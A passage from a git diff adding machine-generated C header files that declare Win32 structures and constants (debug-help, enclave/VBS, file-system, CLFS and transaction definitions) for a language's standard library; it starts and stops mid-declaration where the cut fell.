unsigned short DynamicValueRelocTableSection; + unsigned short Reserved2; + unsigned long long GuardRFVerifyStackPointerFunctionPointer; + unsigned int HotPatchTableOffset; + unsigned int Reserved3; + unsigned long long EnclaveConfigurationPointer; + unsigned long long VolatileMetadataPointer; + unsigned long long GuardEHContinuationTable; + unsigned long long GuardEHContinuationCount; + unsigned long long GuardXFGCheckFunctionPointer; + unsigned long long GuardXFGDispatchFunctionPointer; + unsigned long long GuardXFGTableDispatchFunctionPointer; + unsigned long long CastGuardOsDeterminedFailureMode; + unsigned long long GuardMemcpyFunctionPointer; + unsigned long long UmaFunctionPointers; +} IMAGE_LOAD_CONFIG_DIRECTORY64; + +typedef struct _SOURCEFILE { + unsigned long long ModBase; + void* FileName; +} SOURCEFILE; + +typedef struct _IMAGEHLP_MODULE { + unsigned int SizeOfStruct; + unsigned int BaseOfImage; + unsigned int ImageSize; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int NumSyms; + void* SymType; + unsigned char ModuleName[32]; + unsigned char ImageName[256]; + unsigned char LoadedImageName[256]; +} IMAGEHLP_MODULE; + +typedef struct _MINIDUMP_STRING { + unsigned int Length; + unsigned short Buffer[1]; +} MINIDUMP_STRING; + +typedef struct _IMAGEHLP_CBA_READ_MEMORY { + unsigned long long addr; + void* buf; + unsigned int bytes; + void* bytesread; +} IMAGEHLP_CBA_READ_MEMORY; + +typedef struct _MINIDUMP_EXCEPTION_INFORMATION64 { + unsigned int ThreadId; + unsigned long long ExceptionRecord; + unsigned long long ContextRecord; + BOOL ClientPointers; +} MINIDUMP_EXCEPTION_INFORMATION64; + +typedef struct _SYMSRV_INDEX_INFO { + unsigned int sizeofstruct; + unsigned char file[261]; + BOOL stripped; + unsigned int timestamp; + unsigned int size; + unsigned char dbgfile[261]; + unsigned char pdbfile[261]; + void* guid; + unsigned int sig; + unsigned int age; +} SYMSRV_INDEX_INFO; + +typedef struct _IMAGEHLP_SYMBOL64_PACKAGE { + void* sym; + unsigned char name[2001]; +} IMAGEHLP_SYMBOL64_PACKAGE; + diff --git a/stdlib/win32/environment.h b/stdlib/win32/environment.h new file mode 100644 index 0000000..bcc396b --- /dev/null +++ b/stdlib/win32/environment.h @@ -0,0 +1,154 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Environment`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define ENCLAVE_RUNTIME_POLICY_ALLOW_FULL_DEBUG 0x1 +#define ENCLAVE_RUNTIME_POLICY_ALLOW_DYNAMIC_DEBUG 0x2 +#define ENCLAVE_UNSEAL_FLAG_STALE_KEY 0x1 +#define ENCLAVE_FLAG_FULL_DEBUG_ENABLED 0x1 +#define ENCLAVE_FLAG_DYNAMIC_DEBUG_ENABLED 0x2 +#define ENCLAVE_FLAG_DYNAMIC_DEBUG_ACTIVE 0x4 +#define VBS_ENCLAVE_REPORT_PKG_HEADER_VERSION_CURRENT 0x1 +#define VBS_ENCLAVE_REPORT_SIGNATURE_SCHEME_SHA256_RSA_PSS_SHA256 0x1 +#define VBS_ENCLAVE_REPORT_VERSION_CURRENT 0x1 +#define ENCLAVE_REPORT_DATA_LENGTH 0x40 +#define VBS_ENCLAVE_VARDATA_INVALID 0x0 +#define VBS_ENCLAVE_VARDATA_MODULE 0x1 +#define ENCLAVE_VBS_BASIC_KEY_FLAG_MEASUREMENT 0x1 +#define ENCLAVE_VBS_BASIC_KEY_FLAG_FAMILY_ID 0x2 +#define ENCLAVE_VBS_BASIC_KEY_FLAG_IMAGE_ID 0x4 +#define ENCLAVE_VBS_BASIC_KEY_FLAG_DEBUG_KEY 0x8 +#define ENCLAVE_IDENTITY_POLICY_SEAL_INVALID 0 +#define ENCLAVE_IDENTITY_POLICY_SEAL_EXACT_CODE 1 +#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_PRIMARY_CODE 2 +#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_IMAGE 3 +#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_FAMILY 4 +#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_AUTHOR 5 + +typedef struct _TRUSTLET_BINDING_DATA { + unsigned long long TrustletIdentity; + void* TrustletSessionId; + unsigned int TrustletSvn; + unsigned int Reserved1; + unsigned long long Reserved2; +} TRUSTLET_BINDING_DATA; + +typedef struct _VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR64 { + unsigned long long ThreadContext[4]; + unsigned long long EntryPoint; + unsigned long long StackPointer; + unsigned long long ExceptionEntryPoint; + unsigned long long ExceptionStack; + unsigned int ExceptionActive; +} VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR64; + +typedef struct _VBS_BASIC_ENCLAVE_EXCEPTION_AMD64 { + unsigned int ExceptionCode; + unsigned int NumberParameters; + unsigned long long ExceptionInformation[3]; + unsigned long long ExceptionRAX; + unsigned long long ExceptionRCX; + unsigned long long ExceptionRIP; + unsigned long long ExceptionRFLAGS; + unsigned long long ExceptionRSP; +} VBS_BASIC_ENCLAVE_EXCEPTION_AMD64; + +typedef struct _VBS_ENCLAVE_REPORT_VARDATA_HEADER { + unsigned int DataType; + unsigned int Size; +} VBS_ENCLAVE_REPORT_VARDATA_HEADER; + +typedef struct _VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR32 { + unsigned int ThreadContext[4]; + unsigned int EntryPoint; + unsigned int StackPointer; + unsigned int ExceptionEntryPoint; + unsigned int ExceptionStack; + unsigned int ExceptionActive; +} VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR32; + +typedef struct _VBS_BASIC_ENCLAVE_SYSCALL_PAGE { + void* ReturnFromEnclave; + void* ReturnFromException; + void* TerminateThread; + void* InterruptThread; + void* CommitPages; + void* DecommitPages; + void* ProtectPages; + void* CreateThread; + void* GetEnclaveInformation; + void* GenerateKey; + void* GenerateReport; + void* VerifyReport; + void* GenerateRandomData; +} VBS_BASIC_ENCLAVE_SYSCALL_PAGE; + +typedef struct _VBS_ENCLAVE_REPORT_PKG_HEADER { + unsigned int PackageSize; + unsigned int Version; + unsigned int SignatureScheme; + unsigned int SignedStatementSize; + unsigned int SignatureSize; + unsigned int Reserved; +} VBS_ENCLAVE_REPORT_PKG_HEADER; + +typedef struct _PS_TRUSTLET_TKSESSION_ID { + unsigned long long SessionId[4]; +} PS_TRUSTLET_TKSESSION_ID; + +typedef struct _ENCLAVE_INFORMATION { + unsigned int EnclaveType; + unsigned int Reserved; + void* BaseAddress; + unsigned long long Size; + void* Identity; +} ENCLAVE_INFORMATION; + +typedef struct _ENCLAVE_IDENTITY { + unsigned char OwnerId[32]; + unsigned char UniqueId[32]; + unsigned char AuthorId[32]; + unsigned char FamilyId[16]; + unsigned char ImageId[16]; + unsigned int EnclaveSvn; + unsigned int SecureKernelSvn; + unsigned int PlatformSvn; + unsigned int Flags; + unsigned int SigningLevel; + unsigned int EnclaveType; +} ENCLAVE_IDENTITY; + +typedef struct _ENCLAVE_VBS_BASIC_KEY_REQUEST { + unsigned int RequestSize; + unsigned int Flags; + unsigned int EnclaveSVN; + unsigned int SystemKeyID; + unsigned int CurrentSystemKeyID; +} ENCLAVE_VBS_BASIC_KEY_REQUEST; + +typedef struct _VBS_ENCLAVE_REPORT { + unsigned int ReportSize; + unsigned int ReportVersion; + unsigned char EnclaveData[64]; + void* EnclaveIdentity; +} VBS_ENCLAVE_REPORT; + +typedef struct _VBS_ENCLAVE_REPORT_MODULE { + void* Header; + unsigned char UniqueId[32]; + unsigned char AuthorId[32]; + unsigned char FamilyId[16]; + unsigned char ImageId[16]; + unsigned int Svn; + unsigned short ModuleName[1]; +} VBS_ENCLAVE_REPORT_MODULE; + diff --git a/stdlib/win32/filesystem.h b/stdlib/win32/filesystem.h new file mode 100644 index 0000000..95268cc --- /dev/null +++ b/stdlib/win32/filesystem.h @@ -0,0 +1,2653 @@ +// Generated by entc-win32gen from `Windows.Win32.Storage.FileSystem`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define MAXIMUM_REPARSE_DATA_BUFFER_SIZE 0x4000 +// SKIPPED const EA_CONTAINER_NAME: non-integer constant +// SKIPPED const EA_CONTAINER_SIZE: non-integer constant +// SKIPPED const CLFS_BASELOG_EXTENSION: non-integer constant +#define CLFS_FLAG_REENTRANT_FILE_SYSTEM 0x8 +#define CLFS_FLAG_NON_REENTRANT_FILTER 0x10 +#define CLFS_FLAG_REENTRANT_FILTER 0x20 +#define CLFS_FLAG_IGNORE_SHARE_ACCESS 0x40 +#define CLFS_FLAG_READ_IN_PROGRESS 0x80 +#define CLFS_FLAG_MINIFILTER_LEVEL 0x100 +#define CLFS_FLAG_HIDDEN_SYSTEM_LOG 0x200 +#define CLFS_MARSHALLING_FLAG_NONE 0x0 +#define CLFS_MARSHALLING_FLAG_DISABLE_BUFF_INIT 0x1 +#define CLFS_FLAG_FILTER_INTERMEDIATE_LEVEL 0x10 +#define CLFS_FLAG_FILTER_TOP_LEVEL 0x20 +// SKIPPED const CLFS_CONTAINER_STREAM_PREFIX: non-integer constant +// SKIPPED const CLFS_CONTAINER_RELATIVE_PREFIX: non-integer constant +#define TRANSACTION_MANAGER_VOLATILE 0x1 +#define TRANSACTION_MANAGER_COMMIT_DEFAULT 0x0 +#define TRANSACTION_MANAGER_COMMIT_SYSTEM_VOLUME 0x2 +#define TRANSACTION_MANAGER_COMMIT_SYSTEM_HIVES 0x4 +#define TRANSACTION_MANAGER_COMMIT_LOWEST 0x8 +#define TRANSACTION_MANAGER_CORRUPT_FOR_RECOVERY 0x10 +#define TRANSACTION_MANAGER_CORRUPT_FOR_PROGRESS 0x20 +#define TRANSACTION_MANAGER_MAXIMUM_OPTION 0x3f +#define TRANSACTION_DO_NOT_PROMOTE 0x1 +#define TRANSACTION_MAXIMUM_OPTION 0x1 +#define RESOURCE_MANAGER_VOLATILE 0x1 +#define RESOURCE_MANAGER_COMMUNICATION 0x2 +#define RESOURCE_MANAGER_MAXIMUM_OPTION 0x3 +#define CRM_PROTOCOL_EXPLICIT_MARSHAL_ONLY 0x1 +#define CRM_PROTOCOL_DYNAMIC_MARSHAL_INFO 0x2 +#define CRM_PROTOCOL_MAXIMUM_OPTION 0x3 +#define ENLISTMENT_SUPERIOR 0x1 +#define ENLISTMENT_MAXIMUM_OPTION 0x1 +#define TRANSACTION_NOTIFY_MASK 0x3fffffff +#define TRANSACTION_NOTIFY_PREPREPARE 0x1 +#define TRANSACTION_NOTIFY_PREPARE 0x2 +#define TRANSACTION_NOTIFY_COMMIT 0x4 +#define TRANSACTION_NOTIFY_ROLLBACK 0x8 +#define TRANSACTION_NOTIFY_PREPREPARE_COMPLETE 0x10 +#define TRANSACTION_NOTIFY_PREPARE_COMPLETE 0x20 +#define TRANSACTION_NOTIFY_COMMIT_COMPLETE 0x40 +#define TRANSACTION_NOTIFY_ROLLBACK_COMPLETE 0x80 +#define TRANSACTION_NOTIFY_RECOVER 0x100 +#define TRANSACTION_NOTIFY_SINGLE_PHASE_COMMIT 0x200 +#define TRANSACTION_NOTIFY_DELEGATE_COMMIT 0x400 +#define TRANSACTION_NOTIFY_RECOVER_QUERY 0x800 +#define TRANSACTION_NOTIFY_ENLIST_PREPREPARE 0x1000 +#define TRANSACTION_NOTIFY_LAST_RECOVER 0x2000 +#define TRANSACTION_NOTIFY_INDOUBT 0x4000 +#define TRANSACTION_NOTIFY_PROPAGATE_PULL 0x8000 +#define TRANSACTION_NOTIFY_PROPAGATE_PUSH 0x10000 +#define TRANSACTION_NOTIFY_MARSHAL 0x20000 +#define TRANSACTION_NOTIFY_ENLIST_MASK 0x40000 +#define TRANSACTION_NOTIFY_RM_DISCONNECTED 0x1000000 +#define TRANSACTION_NOTIFY_TM_ONLINE 0x2000000 +#define TRANSACTION_NOTIFY_COMMIT_REQUEST 0x4000000 +#define TRANSACTION_NOTIFY_PROMOTE 0x8000000 +#define TRANSACTION_NOTIFY_PROMOTE_NEW 0x10000000 +#define TRANSACTION_NOTIFY_REQUEST_OUTCOME 0x20000000 +#define TRANSACTION_NOTIFY_COMMIT_FINALIZE 0x40000000 +// SKIPPED const TRANSACTIONMANAGER_OBJECT_PATH: non-integer constant +// SKIPPED const TRANSACTION_OBJECT_PATH: non-integer constant +// SKIPPED const ENLISTMENT_OBJECT_PATH: non-integer constant +// SKIPPED const RESOURCE_MANAGER_OBJECT_PATH: non-integer constant +#define TRANSACTION_NOTIFICATION_TM_ONLINE_FLAG_IS_CLUSTERED 0x1 +#define KTM_MARSHAL_BLOB_VERSION_MAJOR 0x1 +#define KTM_MARSHAL_BLOB_VERSION_MINOR 0x1 +#define MAX_TRANSACTION_DESCRIPTION_LENGTH 0x40 +#define MAX_RESOURCEMANAGER_DESCRIPTION_LENGTH 0x40 +#define IOCTL_VOLUME_BASE 0x56 +#define IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS 0x560000 +#define IOCTL_VOLUME_ONLINE 0x56c008 +#define IOCTL_VOLUME_OFFLINE 0x56c00c +#define IOCTL_VOLUME_IS_CLUSTERED 0x560030 +#define IOCTL_VOLUME_GET_GPT_ATTRIBUTES 0x560038 +#define IOCTL_VOLUME_SUPPORTS_ONLINE_OFFLINE 0x560004 +#define IOCTL_VOLUME_IS_OFFLINE 0x560010 +#define IOCTL_VOLUME_IS_IO_CAPABLE 0x560014 +#define IOCTL_VOLUME_QUERY_FAILOVER_SET 0x560018 +#define IOCTL_VOLUME_QUERY_VOLUME_NUMBER 0x56001c +#define IOCTL_VOLUME_LOGICAL_TO_PHYSICAL 0x560020 +#define IOCTL_VOLUME_PHYSICAL_TO_LOGICAL 0x560024 +#define IOCTL_VOLUME_IS_PARTITION 0x560028 +#define IOCTL_VOLUME_READ_PLEX 0x56402e +#define IOCTL_VOLUME_SET_GPT_ATTRIBUTES 0x560034 +#define IOCTL_VOLUME_GET_BC_PROPERTIES 0x56403c +#define IOCTL_VOLUME_ALLOCATE_BC_STREAM 0x56c040 +#define IOCTL_VOLUME_FREE_BC_STREAM 0x56c044 +#define IOCTL_VOLUME_BC_VERSION 0x1 +#define IOCTL_VOLUME_IS_DYNAMIC 0x560048 +#define IOCTL_VOLUME_PREPARE_FOR_CRITICAL_IO 0x56c04c +#define IOCTL_VOLUME_QUERY_ALLOCATION_HINT 0x564052 +#define IOCTL_VOLUME_UPDATE_PROPERTIES 0x560054 +#define IOCTL_VOLUME_QUERY_MINIMUM_SHRINK_SIZE 0x564058 +#define IOCTL_VOLUME_PREPARE_FOR_SHRINK 0x56c05c +#define IOCTL_VOLUME_IS_CSV 0x560060 +#define IOCTL_VOLUME_POST_ONLINE 0x56c064 +#define IOCTL_VOLUME_GET_CSVBLOCKCACHE_CALLBACK 0x56c068 +#define CSV_BLOCK_CACHE_CALLBACK_VERSION 0x1 +#define CSV_BLOCK_AND_FILE_CACHE_CALLBACK_VERSION 0x2 +#define _FT_TYPES_DEFINITION_ 0x1 +#define CLFS_MGMT_POLICY_VERSION 0x1 +#define LOG_POLICY_OVERWRITE 0x1 +#define LOG_POLICY_PERSIST 0x2 +#define CLFS_MGMT_CLIENT_REGISTRATION_VERSION 0x1 +#define DISKQUOTA_STATE_DISABLED 0x0 +#define DISKQUOTA_STATE_TRACK 0x1 +#define DISKQUOTA_STATE_ENFORCE 0x2 +#define DISKQUOTA_STATE_MASK 0x3 +#define DISKQUOTA_FILESTATE_INCOMPLETE 0x100 +#define DISKQUOTA_FILESTATE_REBUILDING 0x200 +#define DISKQUOTA_FILESTATE_MASK 0x300 +#define DISKQUOTA_LOGFLAG_USER_THRESHOLD 0x1 +#define DISKQUOTA_LOGFLAG_USER_LIMIT 0x2 +#define DISKQUOTA_USER_ACCOUNT_RESOLVED 0x0 +#define DISKQUOTA_USER_ACCOUNT_UNAVAILABLE 0x1 +#define DISKQUOTA_USER_ACCOUNT_DELETED 0x2 +#define DISKQUOTA_USER_ACCOUNT_INVALID 0x3 +#define DISKQUOTA_USER_ACCOUNT_UNKNOWN 0x4 +#define DISKQUOTA_USER_ACCOUNT_UNRESOLVED 0x5 +#define INVALID_FILE_SIZE 0xffffffff +#define INVALID_SET_FILE_POINTER 0xffffffff +#define INVALID_FILE_ATTRIBUTES 0xffffffff +#define SHARE_NETNAME_PARMNUM 0x1 +#define SHARE_TYPE_PARMNUM 0x3 +#define SHARE_REMARK_PARMNUM 0x4 +#define SHARE_PERMISSIONS_PARMNUM 0x5 +#define SHARE_MAX_USES_PARMNUM 0x6 +#define SHARE_CURRENT_USES_PARMNUM 0x7 +#define SHARE_PATH_PARMNUM 0x8 +#define SHARE_PASSWD_PARMNUM 0x9 +#define SHARE_FILE_SD_PARMNUM 0x1f5 +#define SHARE_SERVER_PARMNUM 0x1f7 +#define SHARE_QOS_POLICY_PARMNUM 0x1f8 +#define SHI1_NUM_ELEMENTS 0x4 +#define SHI2_NUM_ELEMENTS 0xa +#define STYPE_RESERVED1 0x1000000 +#define STYPE_RESERVED2 0x2000000 +#define STYPE_RESERVED3 0x4000000 +#define STYPE_RESERVED4 0x8000000 +#define STYPE_RESERVED5 0x100000 +#define STYPE_RESERVED_ALL 0x3fffff00 +#define SHI_USES_UNLIMITED 0xffffffff +#define SHI1005_FLAGS_DFS 0x1 +#define SHI1005_FLAGS_DFS_ROOT 0x2 +#define CSC_MASK_EXT 0x2030 +#define CSC_MASK 0x30 +#define CSC_CACHE_MANUAL_REINT 0x0 +#define CSC_CACHE_AUTO_REINT 0x10 +#define CSC_CACHE_VDO 0x20 +#define CSC_CACHE_NONE 0x30 +#define SHI1005_FLAGS_RESTRICT_EXCLUSIVE_OPENS 0x100 +#define SHI1005_FLAGS_FORCE_SHARED_DELETE 0x200 +#define SHI1005_FLAGS_ALLOW_NAMESPACE_CACHING 0x400 +#define SHI1005_FLAGS_ACCESS_BASED_DIRECTORY_ENUM 0x800 +#define SHI1005_FLAGS_FORCE_LEVELII_OPLOCK 0x1000 +#define SHI1005_FLAGS_ENABLE_HASH 0x2000 +#define SHI1005_FLAGS_ENABLE_CA 0x4000 +#define SHI1005_FLAGS_ENCRYPT_DATA 0x8000 +#define SHI1005_FLAGS_RESERVED 0x10000 +#define SHI1005_FLAGS_DISABLE_CLIENT_BUFFERING 0x20000 +#define SHI1005_FLAGS_IDENTITY_REMOTING 0x40000 +#define SHI1005_FLAGS_CLUSTER_MANAGED 0x80000 +#define SHI1005_FLAGS_COMPRESS_DATA 0x100000 +#define SHI1005_FLAGS_ISOLATED_TRANSPORT 0x200000 +#define SHI1005_FLAGS_DISABLE_DIRECTORY_HANDLE_LEASING 0x400000 +#define SESI1_NUM_ELEMENTS 0x8 +#define SESI2_NUM_ELEMENTS 0x9 +#define STATSOPT_CLR 0x1 +#define LZERROR_BADINHANDLE -1 +#define LZERROR_BADOUTHANDLE -2 +#define LZERROR_READ -3 +#define LZERROR_WRITE -4 +#define LZERROR_GLOBALLOC -5 +#define LZERROR_GLOBLOCK -6 +#define LZERROR_BADVALUE -7 +#define LZERROR_UNKNOWNALG -8 +#define NTMS_OBJECTNAME_LENGTH 0x40 +#define NTMS_DESCRIPTION_LENGTH 0x7f +#define NTMS_DEVICENAME_LENGTH 0x40 +#define NTMS_SERIALNUMBER_LENGTH 0x20 +#define NTMS_REVISION_LENGTH 0x20 +#define NTMS_BARCODE_LENGTH 0x40 +#define NTMS_SEQUENCE_LENGTH 0x20 +#define NTMS_VENDORNAME_LENGTH 0x80 +#define NTMS_PRODUCTNAME_LENGTH 0x80 +#define NTMS_USERNAME_LENGTH 0x40 +#define NTMS_APPLICATIONNAME_LENGTH 0x40 +#define NTMS_COMPUTERNAME_LENGTH 0x40 +#define NTMS_I1_MESSAGE_LENGTH 0x7f +#define NTMS_MESSAGE_LENGTH 0x100 +#define NTMS_POOLHIERARCHY_LENGTH 0x200 +#define NTMS_OMIDLABELID_LENGTH 0xff +#define NTMS_OMIDLABELTYPE_LENGTH 0x40 +#define NTMS_OMIDLABELINFO_LENGTH 0x100 +#define NTMS_MAXATTR_LENGTH 0x10000 +#define NTMS_MAXATTR_NAMELEN 0x20 +#define NTMSMLI_MAXTYPE 0x40 +#define NTMSMLI_MAXIDSIZE 0x100 +#define NTMSMLI_MAXAPPDESCR 0x100 +#define TXF_LOG_RECORD_GENERIC_TYPE_COMMIT 0x1 +#define TXF_LOG_RECORD_GENERIC_TYPE_ABORT 0x2 +#define TXF_LOG_RECORD_GENERIC_TYPE_PREPARE 0x4 +#define TXF_LOG_RECORD_GENERIC_TYPE_DATA 0x8 +#define VS_VERSION_INFO 0x1 +#define VS_USER_DEFINED 0x64 +#define VS_FFI_SIGNATURE -17890115 +#define VS_FFI_STRUCVERSION 65536 +#define VS_FFI_FILEFLAGSMASK 63 +#define WINEFS_SETUSERKEY_SET_CAPABILITIES 0x1 +#define EFS_COMPATIBILITY_VERSION_NCRYPT_PROTECTOR 0x5 +#define EFS_COMPATIBILITY_VERSION_PFILE_PROTECTOR 0x6 +#define EFS_SUBVER_UNKNOWN 0x0 +#define EFS_EFS_SUBVER_EFS_CERT 0x1 +#define EFS_PFILE_SUBVER_RMS 0x2 +#define EFS_PFILE_SUBVER_APPX 0x3 +#define MAX_SID_SIZE 0x100 +#define EFS_METADATA_ADD_USER 0x1 +#define EFS_METADATA_REMOVE_USER 0x2 +#define EFS_METADATA_REPLACE_USER 0x4 +#define EFS_METADATA_GENERAL_OP 0x8 +#define WOF_PROVIDER_WIM 0x1 +#define WOF_PROVIDER_FILE 0x2 +#define WIM_PROVIDER_HASH_SIZE 0x14 +#define WIM_BOOT_OS_WIM 0x1 +#define WIM_BOOT_NOT_OS_WIM 0x0 +#define WIM_ENTRY_FLAG_NOT_ACTIVE 0x1 +#define WIM_ENTRY_FLAG_SUSPENDED 0x2 +#define WIM_EXTERNAL_FILE_INFO_FLAG_NOT_ACTIVE 0x1 +#define WIM_EXTERNAL_FILE_INFO_FLAG_SUSPENDED 0x2 +#define FILE_PROVIDER_COMPRESSION_XPRESS4K 0x0 +#define FILE_PROVIDER_COMPRESSION_LZX 0x1 +#define FILE_PROVIDER_COMPRESSION_XPRESS8K 0x2 +#define FILE_PROVIDER_COMPRESSION_XPRESS16K 0x3 +#define COPYFILE2_MESSAGE_COPY_OFFLOAD 1 +#define COPYFILE2_IO_CYCLE_SIZE_MIN 0x1000 +#define COPYFILE2_IO_CYCLE_SIZE_MAX 0x40000000 +#define COPYFILE2_IO_RATE_MIN 0x200 +#define ClfsNullRecord 0x0 +#define ClfsDataRecord 0x1 +#define ClfsRestartRecord 0x2 +#define ClfsClientRecord 0x3 +#define ClsContainerInitializing 0x1 +#define ClsContainerInactive 0x2 +#define ClsContainerActive 0x4 +#define ClsContainerActivePendingDelete 0x8 +#define ClsContainerPendingArchive 0x10 +#define ClsContainerPendingArchiveAndDelete 0x20 +#define ClfsContainerInitializing 0x1 +#define ClfsContainerInactive 0x2 +#define ClfsContainerActive 0x4 +#define ClfsContainerActivePendingDelete 0x8 +#define ClfsContainerPendingArchive 0x10 +#define ClfsContainerPendingArchiveAndDelete 0x20 +#define CLFS_MAX_CONTAINER_INFO 0x100 +#define CLFS_SCAN_INIT 0x1 +#define CLFS_SCAN_FORWARD 0x2 +#define CLFS_SCAN_BACKWARD 0x4 +#define CLFS_SCAN_CLOSE 0x8 +#define CLFS_SCAN_INITIALIZED 0x10 +#define CLFS_SCAN_BUFFERED 0x20 +#define FILE_BEGIN 0x0 +#define FILE_CURRENT 0x1 +#define FILE_END 0x2 +#define OF_CANCEL 0x800 +#define OF_CREATE 0x1000 +#define OF_DELETE 0x200 +#define OF_EXIST 0x4000 +#define OF_PARSE 0x100 +#define OF_PROMPT 0x2000 +#define OF_READ 0x0 +#define OF_READWRITE 0x2 +#define OF_REOPEN 0x8000 +#define OF_SHARE_DENY_NONE 0x40 +#define OF_SHARE_DENY_READ 0x30 +#define OF_SHARE_DENY_WRITE 0x20 +#define OF_SHARE_EXCLUSIVE 0x10 +#define OF_WRITE 0x1 +#define OF_SHARE_COMPAT 0x0 +#define OF_VERIFY 0x400 +#define TAPE_FORMAT 0x5 +#define TAPE_LOAD 0x0 +#define TAPE_LOCK 0x3 +#define TAPE_TENSION 0x2 +#define TAPE_UNLOAD 0x1 +#define TAPE_UNLOCK 0x4 +#define NTMS_ENUM_DEFAULT 0 +#define NTMS_ENUM_ROOTPOOL 1 +#define SET_TAPE_DRIVE_INFORMATION 0x1 +#define SET_TAPE_MEDIA_INFORMATION 0x0 +#define TXF_LOG_RECORD_TYPE_AFFECTED_FILE 0x4 +#define TXF_LOG_RECORD_TYPE_TRUNCATE 0x2 +#define TXF_LOG_RECORD_TYPE_WRITE 0x1 +#define NTMS_ALLOCATE_FROMSCRATCH 1 +#define STYPE_DISKTREE 0x0 +#define STYPE_PRINTQ 0x1 +#define STYPE_DEVICE 0x2 +#define STYPE_IPC 0x3 +#define STYPE_SPECIAL 0x80000000 +#define STYPE_TEMPORARY 0x40000000 +#define STYPE_MASK 0xff +#define NTMS_DISMOUNT_DEFERRED 1 +#define NTMS_DISMOUNT_IMMEDIATE 2 +#define ClfsMgmtPolicyMaximumSize 0 +#define ClfsMgmtPolicyMinimumSize 1 +#define ClfsMgmtPolicyNewContainerSize 2 +#define ClfsMgmtPolicyGrowthRate 3 +#define ClfsMgmtPolicyLogTail 4 +#define ClfsMgmtPolicyAutoShrink 5 +#define ClfsMgmtPolicyAutoGrow 6 +#define ClfsMgmtPolicyNewContainerPrefix 7 +#define ClfsMgmtPolicyNewContainerSuffix 8 +#define ClfsMgmtPolicyNewContainerExtension 9 +#define ClfsMgmtPolicyInvalid 10 +#define COPY_FILE2_V2_DONT_COPY_JUNCTIONS 0x1 +#define COPY_FILE2_V2_DISABLE_BLOCK_CLONING 0x2 +#define COPY_FILE2_V2_VALID_FLAGS 0x3 +#define FILE_READ_DATA 0x1 +#define FILE_LIST_DIRECTORY 0x1 +#define FILE_WRITE_DATA 0x2 +#define FILE_ADD_FILE 0x2 +#define FILE_APPEND_DATA 0x4 +#define FILE_ADD_SUBDIRECTORY 0x4 +#define FILE_CREATE_PIPE_INSTANCE 0x4 +#define FILE_READ_EA 0x8 +#define FILE_WRITE_EA 0x10 +#define FILE_EXECUTE 0x20 +#define FILE_TRAVERSE 0x20 +#define FILE_DELETE_CHILD 0x40 +#define FILE_READ_ATTRIBUTES 0x80 +#define FILE_WRITE_ATTRIBUTES 0x100 +#define DELETE 0x10000 +#define READ_CONTROL 0x20000 +#define WRITE_DAC 0x40000 +#define WRITE_OWNER 0x80000 +#define SYNCHRONIZE 0x100000 +#define STANDARD_RIGHTS_REQUIRED 0xf0000 +#define STANDARD_RIGHTS_READ 0x20000 +#define STANDARD_RIGHTS_WRITE 0x20000 +#define STANDARD_RIGHTS_EXECUTE 0x20000 +#define STANDARD_RIGHTS_ALL 0x1f0000 +#define SPECIFIC_RIGHTS_ALL 0xffff +#define FILE_ALL_ACCESS 0x1f01ff +#define FILE_GENERIC_READ 0x120089 +#define FILE_GENERIC_WRITE 0x120116 +#define FILE_GENERIC_EXECUTE 0x1200a0 +#define ClfsIoStatsDefault 0 +#define ClfsIoStatsMax 65535 +#define NTMS_OPEN_EXISTING 1 +#define NTMS_CREATE_NEW 2 +#define NTMS_OPEN_ALWAYS 3 +#define ClfsLogBasicInformation 0 +#define ClfsLogBasicInformationPhysical 1 +#define ClfsLogPhysicalNameInformation 2 +#define ClfsLogStreamIdentifierInformation 3 +#define ClfsLogSystemMarkingInformation 4 +#define ClfsLogPhysicalLsnInformation 5 +#define NTMS_PORTPOSITION_UNKNOWN 0 +#define NTMS_PORTPOSITION_EXTENDED 1 +#define NTMS_PORTPOSITION_RETRACTED 2 +#define NTMS_READY 0 +#define NTMS_INITIALIZING 10 +#define NTMS_NEEDS_SERVICE 20 +#define NTMS_NOT_PRESENT 21 +#define GetFileExInfoStandard 0 +#define GetFileExMaxInfoLevel 1 +#define VIFF_FORCEINSTALL 0x1 +#define VIFF_DONTDELETEOLD 0x2 +#define COPYFILE2_PROGRESS_CONTINUE 0 +#define COPYFILE2_PROGRESS_CANCEL 1 +#define COPYFILE2_PROGRESS_STOP 2 +#define COPYFILE2_PROGRESS_QUIET 3 +#define COPYFILE2_PROGRESS_PAUSE 4 +#define NTMS_DRIVESTATE_DISMOUNTED 0 +#define NTMS_DRIVESTATE_MOUNTED 1 +#define NTMS_DRIVESTATE_LOADED 2 +#define NTMS_DRIVESTATE_UNLOADED 5 +#define NTMS_DRIVESTATE_BEING_CLEANED 6 +#define NTMS_DRIVESTATE_DISMOUNTABLE 7 +#define COPYFILE2_PHASE_NONE 0 +#define COPYFILE2_PHASE_PREPARE_SOURCE 1 +#define COPYFILE2_PHASE_PREPARE_DEST 2 +#define COPYFILE2_PHASE_READ_SOURCE 3 +#define COPYFILE2_PHASE_WRITE_DESTINATION 4 +#define COPYFILE2_PHASE_SERVER_COPY 5 +#define COPYFILE2_PHASE_NAMEGRAFT_COPY 6 +#define COPYFILE2_PHASE_MAX 7 +#define NTMS_LIBRARYTYPE_UNKNOWN 0 +#define NTMS_LIBRARYTYPE_OFFLINE 1 +#define NTMS_LIBRARYTYPE_ONLINE 2 +#define NTMS_LIBRARYTYPE_STANDALONE 3 +#define CREATE_NEW 0x1 +#define CREATE_ALWAYS 0x2 +#define OPEN_EXISTING 0x3 +#define 